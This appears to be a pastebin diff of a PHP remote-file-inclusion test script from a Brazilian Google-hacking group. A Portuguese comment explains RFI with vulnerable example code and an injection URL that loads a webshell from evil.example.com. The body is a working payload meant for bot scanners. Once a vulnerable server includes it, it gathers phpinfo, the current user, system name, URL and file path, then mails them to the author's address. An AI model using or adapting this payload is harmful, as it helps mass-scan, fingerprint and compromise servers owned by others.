SHOW:
|
|
- or go back to the newest paste.
| 1 | <?php | |
| 2 | /* | |
| 3 | Script Teste RFI 1.0 Googleinurl - Brasil | |
| 4 | By: Cleiton Pinheiro. | |
| 5 | ||
| 6 | Blog.inurl.com.br | |
| 7 | GoogleINURL - Brasil pesquisa avançada. | |
| 8 | Grupo voltado a busca detalhada no motor de pesquisa google. Utilizando operadores especiais google O que é Google hacking? | |
| 9 | É uma pirataria de informática técnica que utiliza o | |
| 10 | Google Search e outras Google aplicativos para encontrar falhas de segurança | |
| 11 | na configuração e código de computador | |
| 12 | ||
| 13 | ||
| 14 | ///////////////////////////////////////////////////////////////////////////////////////////// | |
| 15 | RFI: | |
| 16 | Inclusão de arquivos remotos (RFI) é um tipo de vulnerabilidade mais freqüentemente encontrados em sites. Ele permite que um atacante para incluir um arquivo remoto, geralmente através de um script no servidor web. A vulnerabilidade ocorre devido ao uso de entrada fornecido pelo usuário, sem a devida validação. Isto pode conduzir a algo tão mínima quanto a saída do conteúdo do ficheiro, mas, dependendo da gravidade, para uma lista de alguns, pode levar a: | |
| 17 | ||
| 18 | Execução de código no servidor web | |
| 19 | Execução de código no lado do cliente, tais como JavaScript, o que pode levar a outros ataques, tais como cross-site scripting (XSS). | |
| 20 | Negação de Serviço (DoS) | |
| 21 | O roubo de dados / Manipulação. | |
| 22 | ||
| 23 | Considere este script PHP (que inclui um arquivo especificado pelo pedido): | |
| 24 | Sem nem tipo de validação. | |
| 25 | exemplo code: | |
| 26 | <?php | |
| 27 | $color = 'blue'; | |
| 28 | if (isset( $_GET['COLOR'] ) ) | |
| 29 | $color = $_GET['COLOR']; | |
| 30 | include( $color . '.php' ); | |
| 31 | ?> | |
| 32 | <form method="get"> | |
| 33 | <select name="COLOR"> | |
| 34 | <option value="red">red</option> | |
| 35 | <option value="blue">blue</option> | |
| 36 | </select> | |
| 37 | <input type="submit"> | |
| 38 | </form> | |
| 39 | ||
| 40 | O programador destina apenas blue.php red.php e para ser usado como opcionais. Mas, como qualquer pessoa pode facilmente inserir valores arbitrários na cor, é possível injetar um código de arquivos: | |
| 41 | Nunca se dever setar uma variável Get sem filtrar seu conteúdo. | |
| 42 | ||
| 43 | /vulnerable.php?COLOR=http://evil.example.com/webshell.txt? - Injeta um arquivo hospedado remotamente contendo um código malicioso no caso uma shell. | |
| 44 | ||
| 45 | Referencia: http://en.wikipedia.org/wiki/Remote_file_inclusion | |
| 46 | ||
| 47 | ||
| 48 | Esse script pode ser usado em botscanner's. | |
| 49 | Alem os possiveis vulner's serão enviados para seu email,"Os que possuirem sendmail" | |
| 50 | O envio de informações é feito atraves da function mail(); | |
| 51 | ||
| 52 | Referencia: http://php.net/manual/pt_BR/function.mail.php | |
| 53 | ||
| 54 | ||
| 55 | ||
| 56 | ||
| 57 | ||
| 58 | ||
| 59 | */ | |
| 60 | ||
| 61 | ob_start(); | |
| 62 | phpinfo(); | |
| 63 | $phpinfo = array('phpinfo' => array());
| |
| 64 | if(preg_match_all('#(?:<h2>(?:<a name=".*?">)?(.*?)(?:</a>)?</h2>)|(?:<tr(?: class=".*?")?><t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>)?)?</tr>)#s', ob_get_clean(), $matches, PREG_SET_ORDER)){
| |
| 65 | foreach($matches as $match){
| |
| 66 | if(strlen($match[1])) | |
| 67 | $phpinfo[$match[1]] = array(); | |
| 68 | elseif(isset($match[3])) | |
| 69 | $phpinfo[end(array_keys($phpinfo))][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3]; | |
| 70 | else | |
| 71 | $phpinfo[end(array_keys($phpinfo))][] = $match[2]; | |
| 72 | } | |
| 73 | } | |
| 74 | ini_set("max_execution_time",-1);
| |
| 75 | ||
| 76 | set_time_limit(0); | |
| 77 | ||
| 78 | $user = @get_current_user(); | |
| 79 | ||
| 80 | $uname = @php_uname(); | |
| 81 | ||
| 82 | $data = date('h-i-s, j-m-y, it is w Day z');
| |
| 83 | ||
| 84 | $safemode = @ini_get('safe_mode');
| |
| 85 | ||
| 86 | $url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; | |
| 87 | ||
| 88 | $caminho = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - strlen(strrchr($_SERVER['SCRIPT_FILENAME'], "\\"))); | |
| 89 | ||
| 90 | if ($safemode == '') {
| |
| 91 | $safemode = "OFF"; | |
| 92 | } | |
| 93 | else { $safemode = " $SafeMode ";
| |
| 94 | } | |
| 95 | ||
| 96 | $dados ="<b>Nome: </b>{$uname}<br>";
| |
| 97 | $dados.="<b>Safe Mode:</b>{$phpinfo['PHP Core']['safe_mode'][0]}<br />";
| |
| 98 | $dados.="<b>URL: </b>{$url}<br>";
| |
| 99 | $dados.="<b>Data: </b>{$data}<br>";
| |
| 100 | $dados.="<b>Caminho: </b>{$caminho}<br>";
| |
| 101 | $dados.="<b>System: </b>{$phpinfo['phpinfo']['System']}<br />";
| |
| 102 | ||
| 103 | $assunto = "Vulner_inurl"; | |
| 104 | ||
| 105 | $email = "[email protected]"; | |
| 106 | ||
| 107 | $headers="From: <$email>\r\n"; | |
| 108 | - | $headers="MIME-Version: 1.0\r\n"; |
| 108 | + | $headers.="MIME-Version: 1.0\r\n"; |
| 109 | $headers.="Content-type: text/html; charset=iso-8859-1\r\n"; | |
| 110 | $headers.="X-Mailer: PHP/".phpversion()."\r\n"; | |
| 111 | ||
| 112 | if(mail($email,$assunto,$dados,$headers)){
| |
| 113 | echo $dados; | |
| 114 | echo "OK enviado~"; | |
| 115 | exit(); | |
| 116 | } | |
| 117 | else{
| |
| 118 | echo "Não foi."; | |
| 119 | exit(); | |
| 120 | } | |
| 121 | ?> |